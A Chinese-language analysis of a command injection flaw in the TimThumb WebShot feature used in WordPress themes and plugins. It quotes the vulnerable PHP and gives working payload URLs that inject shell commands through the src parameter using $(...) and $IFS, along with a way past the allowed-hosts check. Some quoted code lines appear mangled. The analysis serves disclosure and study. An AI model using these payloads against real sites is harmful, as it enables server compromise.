Wordpress TimThumb WebShot 远程命令执行漏洞分析
近日,著名的 Wordpress 插件 TimThumb 曝光远程命令执行漏洞 0day,TimThumb 中的 WebShot 功能在实现中调用了外部 GNU/Linux 命令导致存在命令执行漏洞。测试环境如下:
| 软件 | 版本 |
|---|---|
| 操作系统 | Ubuntu 14.04 Server |
| TimThumb 版本 | 2.8.13 |
需要安装的依赖:
apt-get install CutyCapt Xvfb
WebShot 默认是被禁用的,需要先修改 timthumb.php,将 WEBSHOT_ENABLED 改为 ture:
if(! defined('WEBSHOT_ENABLED') ) define ('WEBSHOT_ENABLED',
true);
以下是已公布的 Payload:
http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat
从 Payload 中可看出,漏洞在 src 参数中触发。所以需要先搞清楚 src 是如何接受到的。以下是 timthumb.php 接受 src 参数的代码:
$this->src = $this->param('src');
好,现在知道 src 怎么得到内容后,再看看导致这个漏洞的关键代码:
if($this->param('webshot')){
if(WEBSHOT_ENABLED){
$this->debug(3, "webshot param is set, so we're going to take a webshot.");
$this->serveWebshot();
} else {
如果参数中 webshot 不为空,并且 WEBSHOT_ENABLED 为 true,就调用 serveWebshot 方法。再看 serveWebshot 方法的关键代码:
$url = $this->src; # (1)
if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){
return $this->error("Invalid URL supplied.");
}
$url = preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]+/', '', $url); # (2)
if(WEBSHOT_XVFB_RUNNING){
putenv('DISPLAY=:100.0');
$command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile"; # (3)
} else {
$command = "$xv --server-args=\"-screen 0, {$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile";
}
$this->debug(3, "Executing command: $command");
$out = $command; # (4)
上方代码,$url 变量的值来源于 $this->src 变量。在(2)中,对 $url 进行了正则替换,并在(3)中,将处理过 $url 变量执行拼接在了 $command 变量里后,在(4)中调用了外部 shell 命令。
漏洞的关键触发点是(2)中的正则表达式,可从这个正则表达式中看出,$url 变量里是不允许空格的出现,所以 Payload 中使用了 $IFS 这个 shell 变量,可以帮助在不打空格下完成命令执行,比如我可以在 GNU/Linux 下正常执行以下命令:
$ ls$IFS/boot abi-3.11.0-19-generic memtest86+.bin
以下是我在 Ubuntu14.04+Apache+PHP5 测试结果:
$ curl http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx) $ ls /tmp/ hello_lu4nx
我请求了带了 Payload 的 URL:
http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)
并成功在 /tmp 目录下创建了 hello_lu4nx 这个文件。
我的 Payload 和别人公布的有个不一样的关键细节,先看看别人 Payload 的 src 内容:
src=http://loncatlab.local/$(touch$IFS/tmp/longcat
再看看我的:
src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)
对,不一样的就是 URL 中的 Host 地址,这个地址默认情况下必须是 timthumb.php 中全局变量 ALLOWED_SITES 的内容之一:
if(! isset($ALLOWED_SITES)){
$ALLOWED_SITES = array (
'flickr.com',
'staticflickr.com',
'picasa.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',
'imgur.com',
'imageshack.us',
'tinypic.com',
'amazonaws.com'
);
}
因为这里有段判断代码:
if($this->isURL){
if(ALLOW_ALL_EXTERNAL_SITES){ # (1)
$this->debug(2, "Fetching from all external sites is enabled.");
} else {
$this->debug(2, "Fetching only from selected external sites is enabled.");
$allowed = false;
foreach($ALLOWED_SITES as $site){
if ((strtolower(substr($this->url['host'],-strlen($site)-1))
strtolower(".$site")) || (strtolower($this->url['host'])
strtolower($site))) {
$this->debug(3, "URL hostname {$this->url['host']} matches $site so allowing.");
$allowed = true;
}
}
注意(1)中的判断代码:
if(ALLOW_ALL_EXTERNAL_SITES)
ALLOW_ALL_EXTERNAL_SITES默认是false的:
if(! defined('ALLOW_ALL_EXTERNAL_SITES') ) define
('ALLOW_ALL_EXTERNAL_SITES', false);
由于 ALLOW_ALL_EXTERNAL_SITES 为 false,所以会判断 Host 是否是 $ALLOWED_SITES 中列举的,不过这里没关系,随便选个即可。